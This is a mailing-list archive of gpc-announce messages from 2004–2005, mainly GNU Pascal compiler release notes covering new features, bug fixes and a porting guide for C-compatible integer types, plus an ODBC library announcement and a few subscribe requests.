Received: from leia.gerwinski.de (83.129.45.23) by webmail.tiscali.de (6.7.019) id 40FB8A8501F8D2E4 for gpc-announce@gnu.de; Mon, 11 Oct 2004 18:18:08 +0200 Received: by leia.gerwinski.de (Postfix, from userid 1000) id CE5902861B; Mon, 11 Oct 2004 18:23:30 +0200 (CEST) Date: Mon, 11 Oct 2004 18:23:30 +0200 From: Markus Gerwinski To: gpc-announce@gnu.de Subject: ANNOUNCEMENT: ODBC unit Message-ID: <20041011162330.GA4342@leia.gerwinski.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Archive-Number: 200410/1 X-Sequence-Number: 41 Hi Folks, the GNU Application Libraries for Pascal (GNUALP) framework has grown. After multithreading, it now also provides database access. As a default implementation, there is an ODBC unit available. The tarballs can be downloaded from http://www.markus.gerwinski.de/gnualp/. To run the ODBC part, you will have to install gnualp-0.1.5.tar.gz first, then gnualpodbc-0.1.1.tar.gz. Both projects can be installed, as usual, with ./configure, make, make install. To run the demo program(s) in the demos/pas resp. demos/c subdirs of gnualpodbc, you'll need to have a working ODBC environment installed. If you have, just start the odbcdemo program with a valid data source name as command line argument, and you'll see a nice little command-line SQL client. :-) gnualpodbc-0.1.1 is tested with the following system configurations: - SuSE Linux 8.0 and above, iodbc-3.51.2, and a mysql-4.0.20 database accessed via myodbc-3.51.09. - Windows XP with MinGW, mysql-4.0.20, and myodbc-3.51.9-win. You'll maybe have to download libmsvcp60 from somewhere (it was pre-installed in my MinGW distro, but that doesn't seem to be standard). Have fun, Markus From gpc-announce-owner@gnu.de Sun Oct 17 15:04:44 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1CJAhG-0002Y5-00 for ; Sun, 17 Oct 2004 15:03:38 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id PAA31947 for ; Sun, 17 Oct 2004 15:00:30 +0200 Date: Sun, 17 Oct 2004 15:00:30 +0200 Message-ID: <1098018030.31945.757062@goedel.fjf.gnu.de> Subject: gpc-20041017 released To: gpc-announce@gnu.de MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="----=_20041017150029-31918-gpg_" Content-Disposition: inline From: Frank Heckenbach User-Agent: semail 20041016 X-Archive-Number: 200410/2 X-Sequence-Number: 42 This is an OpenPGP/MIME signed message. Decode it with `munpack' or any other MIME reading software. ------=_20041017150029-31918-gpg_ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit I have uploaded a new beta version of GPC to ! Because our main server is still out of order, please note: - The new URL, as stated above. www.gnu-pascal.de still doesn't work. - There are just the "bare bones" files (full and minimal source distribution, binaries for Linux/IA32 with and without gcc). No diffs, no separate test files, no HTML pages etc. - The main directory in the full source distribution is probably different! Be careful with automatic build scripts. - The releases are signed with a new OpenPGP key. The fingerprint is given in my signature in this mail and my other mails to the gpc@gnu.de list for some weeks. When the main server is back again, I'll do the usual release procedures there. One major change is that the types `Integer', `Word', `Cardinal' are now equivalent to `PtrInt', `PtrWord', `PtrCard', no more (necessarily) to C's `int' and `unsigned int' types. New types `CInteger', `CWord', `CCardinal' are provided for the latter purpose. This affects C interfaces in particular. A "porting guide" is given below. If you maintain any such interfaces, be sure to read it carefully. Another major improvement is in the area of initializers, thanks to Waldek Hebisch. GPC now allows initialization of variant records (fjf259.pas, peter6.pas) and packed arrays (emil5.pas) and supports Extended Pascal's structured initializers (fjf964*.pas, fjf967*.pas, fjf968*.pas) as well as record, array and set values (constdef.pas, fjf966*.pas, fjf971*.pas). Unfortunately, we don't have very many test programs for these new features yet. If you can send us some (according to the guidelines described in the manual), this will be very welcome. Other new features: * `Discard' * new make variable `GPC_PAGESIZE' to set the page size when building the manual (PDF, PostScript, DVI) * `qualified' and import lists are no more allowed after `uses' (only after `import', as EP demands) (@) * the `GMP' unit doesn't support gmp-2.x anymore (if you used it, just upgrade to a newer GMP version) (@) * conflicts between object fields/methods and ancestor type names are detected as required by OOE (fjf945*.pas) (@) (O) * repeated function headings (in `forward' declarations and interfaces) are checked stricter: if one has a result variable, so must the other (according to the OOE draft) (@) (O) Bugfixes: * records with no fields are invalid according to EP (fjf972.pas) * `Index' and `Pos' cannot be used in constant expressions (fjf970*.pas) * the `__FILE__' and `__BASE_FILE__' macros should return full paths * `Sqr' sometimes evaluates its argument twice (fjf963.pas) * memory leak in routines with a local variable of file type that are left via `Exit' or `Return' (fjf962.pas) * using a Boolean function as a condition in a `repeat' loop doesn't work correctly (artur1*.pas) * overstrict type-checking in comparisons involving procedural types (fjf960*.pas) * `Read', `Write' etc. evaluate its arguments in the wrong order (az43*.pas) * `Read' etc. evaluate references to string parameters twice (fjf958.pas) * on targets with 16 bit `Integer' type, the `MicroSecond' field of `TimeStamp' causes a compilation error * character arrays indexed by non-integer ordinal types treated as strings cause internal compiler errors (fjf957*.pas) * `-W[no-]cast-align' does not work (fjf956*.pas) * in `FormatTime' `%Z' and `%z' unless provided by system library ignore DST * powerpc: `--strength-reduce' doesn't work with `for' loops (was kludged before, fixed in gcc-3.3.3) * AIX: `ReturnAddress' doesn't work after use of dynmamic variables (backend bug, fixed in gcc-3.3.3) * functions returning sets are called twice if range-checking is on (inga1*.pas) PORTING GUIDE FOR THE NEW C COMPATIBLE INTEGER TYPES ==================================================== In my experience, the transition goes as follows: 1. If you want your code to keep working with older GPC versions after this change, add (near the top) the following part. You can omit the types you will not need in the following. {$if __GPC_RELEASE__ < 20041017} type CInteger = Integer; CCardinal = Cardinal; CWord = Word; {$endif} 2. In all C-visible declarations, replace `Integer' with `CInteger' and `Cardinal'/`Word' with `CCardinal'/`CWord'. C-visible declarations are usually `external' declarations (routines and/or variables) in Pascal which are implemented in C, but they can also be Pascal-implemented declarations (usually with a `name' attribute) which are declared `extern' in C code. Do not forget structures that are used within such declarations, e.g. parameters of type [pointer to] a record, or procedural parameters, etc. The same goes for other languages such as C++. 3. Fix any resulting incompatibilites. (This is the nasty part.) Value parameters are usually no problem. Anything else might be a problem, e.g., reference parameters, variables, structure fields, procedural parameters' parameters (including value parameters). As long as they are used only in the implementation of a unit/module which exports a Pascal interface, necessary changes can be confined to and handled within this interfaec. Otherwise, you have the choice whether to change the interface, which will require further changes in code using the interface, or to add wrappers to keep the interface. Example: unit MyCInterface; interface uses GPC; type t = record x, y, z: Integer end; procedure a (n: Integer); external name 'a'; procedure b (var n: Integer); external name 'b'; procedure c (var r: t); external name 'c'; function d (var n: Integer): TString; implementation function cd (var n: Integer): CString; external name 'd'; function d (var n: Integer): TString; begin d := CString2String (cd (n)) end; end. Changing a to procedure a (n: CInteger); external name 'a'; is usually harmless. Changing b to procedure b (var n: CInteger); external name 'b'; is problematic, since all callers would need to change their types (which might cause further ramifications in indirectly dependent code). So it might be in order to add a wrapper, such as: procedure b (var n: Integer); [implementation] procedure cb (var n: CInteger); external name 'b'; procedure b (var n: Integer); var cn: CInteger; begin cn := n; { omit if n is used only as an "output" parameter } cb (n); n := cn end; Procedure c uses a record containing `Integer' fields. Here, it's a hard choice between adding a wrapper (might be expensive, as the record gets bigger, and if more routines are affected) or changing the record to: type t = record x, y, z: CInteger end; The choice might depend on how many other routines use this structure and how many of them are written in Pascal or C, and how much existing code already uses the structure and what it does with it. Function d already has a wrapper, so it's usually best to also take care of the new change there: function d (var n: Integer): TString; var cn: CInteger; begin cn := n; { omit if n is used only as an "output" parameter } d := CString2String (cd (n)) n := cn end; Finally, note that `Integer' might be bigger than `CInteger', especially on newer platforms (that's the reason for the whole change in the first place). So if you want to have a bigger range available, you might want to consider changing from `CInteger' etc. (`[unsigned] int' in C) to `MedInt' etc. (`[unsigned] long' in C). This, however, requires (possibly substantial) changes in the C code, and might be out of your control (when interfacing to 3rd party libraries). Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html NEW! GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 ------=_20041017150029-31918-gpg_ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQBBcmztIeyB2Hl3Fo4RArKjAJ408wPwtVbe/YbXYzFqwQQjfzQSYACgnubs hmvwUUDe897i0dCq0UHbjUM= =3Cww -----END PGP SIGNATURE----- ------=_20041017150029-31918-gpg_-- From gpc-announce-owner@gnu.de Sat Nov 6 18:53:15 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1CQUiu-00025h-00; Sat, 06 Nov 2004 18:51:36 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id SAA12459; Sat, 6 Nov 2004 18:51:14 +0100 Date: Sat, 6 Nov 2004 18:51:14 +0100 Message-ID: <1099763474.12457.844616@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: GPC web site is back To: gpc-announce@gnu.de, gpc-doc@gnu.de From: Frank Heckenbach User-Agent: semail 20041018 X-Archive-Number: 200411/1 X-Sequence-Number: 43 Hi everybody, I am happy to announce that the GPC web site is back online, after several weeks of problems on the server. The current GPC beta release (20041017) is on the download page. Previous alphas/betas between 2.1 and this one have been omitted since I'd have to reconstruct them from my archives and verify them to be trushworthy, and I don't think it's worth the effort. If there are serious problems with 20041017, I'd rather fix them, so everyone can ugprade. Thanks to Eike Lange and Benedikt Wildenhain for helping set up the server again and to G-N-U GmbH for hosting the current GPC beta release in the meantime. Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ GnuPG and PGP keys: http://fjf.gnu.de/plan (7977168E) From gpc-announce-owner@gnu.de Sun Dec 19 03:21:13 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 4.34) id 1CfqQY-0007zc-6x for gpc-announce@gnu.de; Sun, 19 Dec 2004 03:04:06 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id DAA12630 for ; Sun, 19 Dec 2004 03:01:51 +0100 Date: Sun, 19 Dec 2004 03:01:51 +0100 Message-ID: <1103421711.12628.984960@goedel.fjf.gnu.de> Subject: gpc-20041218 released To: gpc-announce@gnu.de MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="----=_20041219030151-12603-gpg_" Content-Disposition: inline From: Frank Heckenbach User-Agent: semail 20041018 X-Archive-Number: 200412/1 X-Sequence-Number: 44 This is an OpenPGP/MIME signed message. Decode it with `munpack' or any other MIME reading software. ------=_20041219030151-12603-gpg_ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit I have uploaded a new beta version of GPC to ! The main changes are fixes for 64 bit platforms that were partly broken with 20041017 (some tests still fail on these platforms, but these are mostly problems with the tests themselves), and slightly improved compatibility to Mac Pascal dialects. In detail, new features: - `Exit' with an argument (non-local exits not yet supported) (fjf988*.pas) (U) - new options `--[no-]propagate-units' (on by default with `--mac-pascal', off in other dialects) (fjf987*.pas) (M) - enable `Pointer' in `--mac-pascal' mode (Mac Pascal has a `Pointer' function which does the same as a type-cast to `Pointer'; though adding `Pointer' as a type allows more, it's backward-compatible) (M) - `&' and `|' (shortcut `and' and `or') (fjf981*.pas) (M) - `Leave' and `Cycle' (equivalent to `Break' and `Continue') (avo3.pas) (M) - optimize `WriteLn (... string_constant') and `Write (... string_constant, string_constant ...)' - `BindingType' is now a packed record as EP demands (fjf975a.pas) (E) Fixed bugs: - accessing components of a constant (EP) constructor (indexed by a constant for arrays) must yield a constant again (dave3*.pas) - GPC crashes when using two variables with identically-named fields in a single `with' statement (withbug.pas) - GPC doesn't accept `case' statements without case-list-elements (fjf982*.pas) - gcc-3.x: options are wrongly reordered (so, e.g., `--gnu-pascal -Wno-underscore' doesn't work as expected) (avo7.pas) - applying `not' to a function result in parentheses doesn't work (avo6.pas) - packed array indices containing `mod' don't work (avo4.pas) - GPC sometimes prints `???' instead of the actual file name in messages - function results (of record type) must not be allowed as `with' elements (only a warning in `--delphi' and `--mac-pascal' modes for compatibility); fields of non-lvalue `with' elements must not be lvalues either (fjf493*.pas) - value parameters of type `String' (undiscriminated) must take the capacity of the actual parameter, according to EP (waldek11*.pas) - initialized types in arrays (fjf233.pas, fjf974*.pas) - initializers are ignored in `New' and `Initialize' (fjf967[j-l].pas) - the address of global routines is not allowed in initializers (avo2*.pas) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html NEW! GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 ------=_20041219030151-12603-gpg_ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQBBxOEPIeyB2Hl3Fo4RAv8ZAKCz4e7lV0QiqkSOaK4aLk1gkSq4CwCfdsX4 xbpstbMq29deL1Smd2oeQpY= =wwUo -----END PGP SIGNATURE----- ------=_20041219030151-12603-gpg_-- From gpc-announce-owner@gnu.de Tue Jan 11 22:44:33 2005 Received: from [65.19.234.25] (helo=gcs4.gentrychristian.edu) by adele.gerwinski.de with esmtp (Exim 4.34) id 1CoTnQ-0007Mh-Cp for gpc-announce@gnu.de; Tue, 11 Jan 2005 22:43:25 +0100 Received: from [127.0.0.1] (gcs4.gentrychristian.edu [127.0.0.1]) by gcs4.gentrychristian.edu (8.12.8/8.12.8) with ESMTP id j0BLgxqY028281 for ; Tue, 11 Jan 2005 14:42:59 -0700 Message-ID: <41E44863.9020209@montanasky.net> Date: Tue, 11 Jan 2005 14:42:59 -0700 From: "John W. Loux" User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: gpc-announce@gnu.de Subject: (no subject) Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Archive-Number: 200501/1 X-Sequence-Number: 45 subscribe gpc-announce johnloux@montanasky.net From gpc-announce-owner@gnu.de Thu Feb 17 05:32:11 2005 Received: from ngc224.gerwinski.de ([213.133.98.203]) by adele.gerwinski.de with esmtp (Exim 4.34) id 1D1dIa-00005K-K2 for gpc-announce@gnu.de; Thu, 17 Feb 2005 05:29:57 +0100 Received: from uucp by ngc224.gerwinski.de with local-rmail (Exim 4.34 #1 (Debian)) id 1D1dIX-0001FE-A7 for ; Thu, 17 Feb 2005 05:29:53 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id FAA18313 for ; Thu, 17 Feb 2005 05:27:30 +0100 Date: Thu, 17 Feb 2005 05:27:30 +0100 Message-ID: <1108614450.18311.894100@goedel.fjf.gnu.de> Subject: GPC ALPHA 20050217 released To: gpc-announce@gnu.de MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="----=_20050217052730-18286-gpg_" Content-Disposition: inline From: Frank Heckenbach User-Agent: semail 20050101 X-Archive-Number: 200502/1 X-Sequence-Number: 46 This is an OpenPGP/MIME signed message. Decode it with `munpack' or any other MIME reading software. ------=_20050217052730-18286-gpg_ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit I have uploaded a new alpha version of GPC to . Important notes: - This is an ALPHA version, as discussed on the mailing list before. Not so many extensive tests have been made (though the test suite passes on my system). I'm not uploading binaries, diffs, separate test suite archives, updated web pages etc., just the source distribution. (Of course, others may feel free to upload binaries for various platforms.) I'm not aware of any serious bugs, but you have to decide for yourself whether to use it for production work. - Bison (building GPC) Bison version 2.0 has been released. It can be obtained at . This is now the recommended version for all GPC compilations. Fortunately, we now don't depend on changing alpha/beta versions of bison anymore. Bison is required when building a minimal distribution of GPC (which now doesn't include the Bison generated files anymore, as it did temporarily); when building a full source distribution and not modifying the bison input files (*.y), bison is not strictly needed, but in case of doubt, it can't hurt to install the new bison version. New features: - Support for gcc-3.4.x (tested with 3.4.3) The caveats that apply to gcc-3.3.x (especially on Dos/Windows) also apply here. - Renamed options Due to the way that gcc-3.4.x handles options, we had to rename two options (command line and compiler directive, respectively). To avoid confusion, we did this for all backend versions: --no-default-paths -> --disable-default-paths --no-debug-info -> --disable-debug-info Note: `--disable-debug-info' is only used in very special cases, and usually as a compiler directive. To turn off debug info one would normally use `-g0' which remains unaffected. - Qualified identifiers (chief18.pas, fjf260*.pas, fjf921*.pas, grp1.pas, kurzw1.pas, mod{9,10,13..17}*.pas) GPC now supports qualified identifiers, both Extended Pascal and Borland Pascal style. A small incompatibility to previous versions arises when a declaration has the same name as an interface, which is not EP conformant, but GPC previously allowed. This will now cause compile-time errors. The solution is to rename either the interface or the declaration. The linker names, if not specified explicitly, are now completely different. Since those linker names should not be relied upon anyway, we hope this is no problem. If you get problems here, just add `name' attributes where necesssary. (This will also make the code more robust, in case the internal conventions ever change again.) - Importing within a routine (EP feature) works now. (mod15[c-e].pas) - Range checking (chuck5.pas, fjf446.pas, fjf989*.pas, fjf992*.pas, fsc{01..37}*.pas, miklos1[bc].pas, mir{016,021..028,030..047}*.pas, russ4*.pas) GPC now supports full range checking (previously it did so only for dynamic ranges and sets). Range checking is on by default (in all dialects) and can be turned off and on again by command-line arguments or compiler directives (`{$[no-]range-checking}' and also `{$R-}' and `{$R+}', BP compatible). Note, this is not overflow checking, which may be implemented later and will be a separate option, just like in BP. Range checking applies when a value of a larger type (e.g., an `Integer' variable or the result of an integer operation) is used in a place where a subrange is expected (e.g., an array index, or assignment to a variable with more limited range). Overflow checking would apply if the result of an arithmetic or other operation exceeds the representable values (e.g., `var a: Integer = MaxInt; [...] WriteLn (a + a)'). This is not yet checked. For input operations (`Read', `ReadLn', `ReadStr', `Val'), range checking errors are treated as I/O errors, so they can be trapped with `{$I-}' via `IOResult' (for `Read*'), or for `Val' via the 3rd parameter (while range errors in the 3rd parameter of `Val' itself are treated as regular runtime errors; this paramter is the error position, so range errors there can be avoided simply by declaring it of a sufficiently larger type, usually just `Integer' or `Cardinal'). For strings, range checking is BP compatible (access up to the capacity allowed) in `--borland-pascal' and `--delphi' modes and EP compatible (access only up to the current length allowed) otherwise. So in default (EP) mode code such as if MyString[1] = '-' ... without a check if (MyString <> '') and ... may now fail with a range-checking error. This is useful, since the first test was always undefined if `MyString' was empty, but in my experience so far, this has been one of the most common causes of range-checking errors in my code. The same applies with `var' parameters and the address operator as well, so e.g. code such as: BlockRead (f, StringLength, SizeOf (StringLength)); BlockRead (f, s[1], StringLength); SetLength (s, StringLength); needs two changes to be range safe now: BlockRead (f, StringLength, SizeOf (StringLength)); SetLength (s, StringLength); if StringLength > 0 then BlockRead (f, s[1], StringLength); Another example (rather low-level code, found e.g. in the RTS): BufPtr := PChars0 (@s[1]); BufSize := Length (s); will fail if `s' is empty. Possible change (provided the using code doesn't access `BufPtr' if `BufSize' is empty, which would be undefined anyway when reading): if s = '' then BufPtr := nil else BufPtr := PChars0 (@s[1]); BufSize := Length (s); - `pow', `Trim', `Card', set operations (`-', `*', `><'), set comparisons, string comparisons and array slices with constant arguments can now be used in constants (fjf998*.pas, fjf1000*.pas, fjf1009*.pas) - Initialized types in record and object fields and in schemata work now. (inirec[24].pas, fjf1016*.pas) - Types and initializers containing variable expressions, including schemata with non-constant discriminants work now. (couper[45].pas, fjf186.pas, fjf548.pas, fjf612a.pas, fjf997*.pas, fjf1003*.pas, john1a.pas) - With `-Wnested-comments' and without `--nested-comments' warn about comment openers found within comments. (fjf1017*.pas) - New options `--[no-]case-value-checking' (fjf1012*.pas) - Arithmetics with a complex and a real operand are now better optimized. (<20020118143553.B28837@artax.karlin.mff.cuni.cz>) - Bug fixes: * warn if an lhs cast decreases alignment (avo9.pas) * don't require result variables in forward declarations except in strict ISO mode (marku10*.pas) * writing to a file buffer at EOF didn't work (eof1.pas) * don't allow `f^' for unopened files `f' (pcerror[ij].pas) * evaluate initializers exactly as often as specified (fjf1019.pas) * in standard Pascal modes, `EOF' is false on an empty file (tom7.pas) * wrong `arithmetical overflow' with `set of byte' (igor1.pas) * `ParamStr' evaluated its argument twice (fjf963b.pas) * user-defined operators must not be applied to implicit operations (fjf991.pas and many other cases) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 ------=_20050217052730-18286-gpg_ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQBCFB0yIeyB2Hl3Fo4RAj+EAKCWZ8/zpDuax4HpaOT3W9xMPyF8qwCfbM50 GdHUWVl9DlwflORUWKnqvEQ= =FnfH -----END PGP SIGNATURE----- ------=_20050217052730-18286-gpg_-- From gpc-announce-owner@gnu.de Tue Feb 22 00:26:26 2005 Received: from relay1.tiscali.de ([62.26.116.129] helo=webmail.tiscali.de) by adele.gerwinski.de with esmtp (Exim 4.34) id 1D1txS-0006d8-8l for gpc-announce@gnu.de; Thu, 17 Feb 2005 23:17:14 +0100 Received: from leia.gerwinski.de (83.129.30.208) by webmail.tiscali.de (7.0.036.1) id 41B8B6EA002F8159; Thu, 17 Feb 2005 23:16:39 +0100 Received: by leia.gerwinski.de (Postfix, from userid 1000) id 567491E4A5; Thu, 17 Feb 2005 23:19:19 +0100 (CET) Date: Thu, 17 Feb 2005 23:19:19 +0100 From: Markus Gerwinski To: Frank Heckenbach Cc: gpc-announce@gnu.de Subject: First test result: GPC ALPHA 20050217 released Message-ID: <20050217221919.GA12389@leia.gerwinski.de> References: <1108614450.18311.894100@goedel.fjf.gnu.de> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="FCuugMFkClbJLl1L" Content-Disposition: inline In-Reply-To: <1108614450.18311.894100@goedel.fjf.gnu.de> User-Agent: Mutt/1.5.6i X-Archive-Number: 200502/2 X-Sequence-Number: 47 --FCuugMFkClbJLl1L Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Frank Heckenbach wrote: > I have uploaded a new alpha version of GPC to > . After the patches you already sent: No errors found so far. --FCuugMFkClbJLl1L Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFCFRhm6Sp5Kx1roGARAkCpAKCzO9tS9zPCiE120Gdhu5DXKRNq/QCePSz3 v5QVe2Ab3xLKhD0lt5HC1NQ= =IIhn -----END PGP SIGNATURE----- --FCuugMFkClbJLl1L-- From gpc-announce-owner@gnu.de Tue Mar 1 12:59:11 2005 Received: from [62.23.212.56] (helo=smail3.alcatel.fr) by ngc224.gerwinski.de with esmtp (Exim 4.34 #1 (Debian)) id 1D65JU-0000yM-Hz for ; Tue, 01 Mar 2005 12:13:25 +0100 Received: from itmail01.netfr.alcatel.fr (itmail01.netfr.alcatel.fr [155.132.182.197]) by smail3.alcatel.fr (ALCANET/NETFR) with ESMTP id j21BCUr1013228 for ; Tue, 1 Mar 2005 12:12:30 +0100 Received: from Fumagalli ([151.98.40.124]) by itmail01.netfr.alcatel.fr (Lotus Domino Release 5.0.12HF788) with SMTP id 2005030112122868:3206 ; Tue, 1 Mar 2005 12:12:28 +0100 Message-ID: <009f01c51e4d$04870600$7c286297@Fumagalli> Reply-To: "Angelo FUMAGALLI" From: Angelo.Fumagalli@alcatel.it To: Subject: subscribe gpc-announce Date: Tue, 1 Mar 2005 11:54:18 +0100 Organization: Alcatel MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 Disposition-Notification-To: "Angelo FUMAGALLI" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-MIMETrack: Itemize by SMTP Server on ITMAIL01/IT/ALCATEL(Release 5.0.12HF788 | September 23, 2004) at 03/01/2005 12:12:28, Serialize by Router on ITMAIL01/IT/ALCATEL(Release 5.0.12HF788 | September 23, 2004) at 03/01/2005 12:12:30, Serialize complete at 03/01/2005 12:12:30 Content-Type: multipart/mixed; boundary="----=_NextPart_000_009B_01C51E55.66038F90" X-Alcanet-MTA-scanned-and-authorized: yes X-Spam-Score: 0.2 (/) X-Archive-Number: 200503/1 X-Sequence-Number: 48 This is a multi-part message in MIME format. ------=_NextPart_000_009B_01C51E55.66038F90 Content-Type: multipart/alternative; boundary="----=_NextPart_001_009C_01C51E55.66038F90" ------=_NextPart_001_009C_01C51E55.66038F90 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="iso-8859-1" subscribe gpc-announce angelo.fumagalli@alcatel.it ------=_NextPart_001_009C_01C51E55.66038F90 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="iso-8859-1"
subscribe gpc-announce angelo.fumagalli@alcatel.it
------=_NextPart_001_009C_01C51E55.66038F90-- ------=_NextPart_000_009B_01C51E55.66038F90 Content-Transfer-Encoding: 7bit Content-Type: text/x-vcard; name="Angelo Fumagalli.vcf" Content-Disposition: attachment; filename="Angelo Fumagalli.vcf" BEGIN:VCARD VERSION:2.1 N:Fumagalli;Angelo FN:Angelo Fumagalli EMAIL;PREF;INTERNET:Angelo.Fumagalli@alcatel.it REV:20050301T105418Z END:VCARD ------=_NextPart_000_009B_01C51E55.66038F90-- From gpc-announce-owner@gnu.de Thu Mar 31 23:25:10 2005 Received: from uucp by ngc224.gerwinski.de with local-rmail (Exim 4.44 #1 (Debian)) id 1DH78y-0000LS-1R for ; Thu, 31 Mar 2005 23:24:00 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id XAA08196 for ; Thu, 31 Mar 2005 23:21:20 +0200 Date: Thu, 31 Mar 2005 23:21:20 +0200 Message-ID: <1112304080.8194.673009@goedel.fjf.gnu.de> Subject: GPC ALPHA 20050331 released To: gpc-announce@gnu.de MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="----=_20050331232120-8169-gpg_" Content-Disposition: inline From: Frank Heckenbach User-Agent: semail 20050101 X-Archive-Number: 200503/2 X-Sequence-Number: 49 This is an OpenPGP/MIME signed message. Decode it with `munpack' or any other MIME reading software. ------=_20050331232120-8169-gpg_ Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit I have uploaded a new alpha version of GPC to . This is an ALPHA version. Not so many extensive tests have been made and the test suite is not expected to pass without errors. I'm not uploading binaries, diffs, separate test suite archives, updated web pages etc., just the source distribution. (Of course, others may feel free to upload binaries for various platforms.) I'm not aware of any serious bugs, but you have to decide for yourself whether to use it for production work. New features: * new options `--[no]-nonlocal-exit' (default in `--ucsd-pascal' and `--mac-pascal') (fjf988[fijk].pas, fjf1062*.pas) (U) (M) * new options `--[no]-object-checking' (on by default) to check on virtual method calls if VMT pointer is not nil and has matching `Size' and `NegatedSize' entries, new options `--[no]-range-and-object-checking' which are now equivalent to `$R[+-]' (fjf1053*.pas) (B) * new options `--[no]-pointer-checking', `--[no]-pointer-checking-user-defined'; new variable `ValidatePointerPtr' (fjf1052*.pas, pcerrorc.pas) (these options are _off_ by default!) * new options `--[no]-implicit-result' (fjf1022*.pas) (on by default *only* in `--delphi' mode!) (D) (@) * new options `--{en,dis}able-predefined-identifier' (fjf1037*.pas) - Bug fixes: * check initializers of unused types (fjf898*.pas) * check identifier scopes stricter (az25.pas, fjf1059*.pas) * in `--borland-pascal' give only a warning, not an error, for duplicate `case' elements (drf6*.pas) * multi-dimensional `packed' arrays are not correctly packed (fjf149*.pas) * check arithmetical overflow in constants somewhat better (fjf206*.pas) * check duplicate external declarations stricter (fjf948.pas) * check that actual discriminants match in parameters and assignments, and in strict EP mode, check that actual discriminants of parameters within one identifier list match (berend4.pas, fjf104[45]*.pas, typeof[2-4].pas) * check pointer to schema types stricter (fjf130.pas, fjf614.pas, schema3a.pas affected) * allow importing the same value as a result of distinct expressions under the same name for EP modules for ordinal, pointer, string and set constants (fjf1040*.pas, stef1.pas) * allow attributes for procedural types (chief56.pas) * problem with string operations and `goto' (contour0.pas, contourbug.pas, martin1.pas, berend3.pas) * check `goto' targets more strictly <261020020000077022%gpaeper@empirenet.com>, (az48.pas, fjf701*.pas, fjf1038*.pas, gale6.pas) * `Result' is not completely Delphi compatible (fjf1022*.pas) * problem if a `Write' or `WriteLn' argument calls a routine which writes to the same file (fjf1036.pas) * `Update' as well as writing after reading or checking `EOF' can get the file position wrong in some cases (arp2*.pas, fjf159.pas, fjf160*.pas) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: ACB3 79B2 7EB2 B7A7 EFDE D101 CD02 4C9D 0FE0 E5E8 ------=_20050331232120-8169-gpg_ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) 